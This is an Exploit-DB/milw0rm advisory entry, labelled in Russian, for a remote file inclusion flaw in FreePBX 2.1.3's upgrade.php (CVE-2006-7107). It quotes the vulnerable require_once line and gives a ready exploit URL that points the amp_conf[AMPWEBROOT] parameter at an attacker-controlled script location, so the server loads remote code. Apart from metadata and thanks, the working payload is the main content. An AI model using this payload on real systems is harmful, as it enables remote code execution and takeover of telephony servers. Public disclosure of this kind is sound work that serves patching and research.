Exploit FreePBX 2.1.3 - 'upgrade.php' Remote File Inclusion

[Exploiter]

EDB-ID

2665

Проверка EDB

1. Пройдено

Автор

MEHMET INCE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-7107

Дата публикации

2006-10-28

Script: freePBX
Version: v2.1.3
Script Download: http://puzzle.dl.sourceforge.net/sourceforge/amportal/freepbx-2.1.3.tgz
Code: require_once($amp_conf["AMPWEBROOT"] . "/admin/functions.inc.php");
Exploit: upgrades/2.1beta1/upgrade.php?amp_conf[AMPWEBROOT]=evilscripts?
Found: Cyber-Security
Thanks: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28]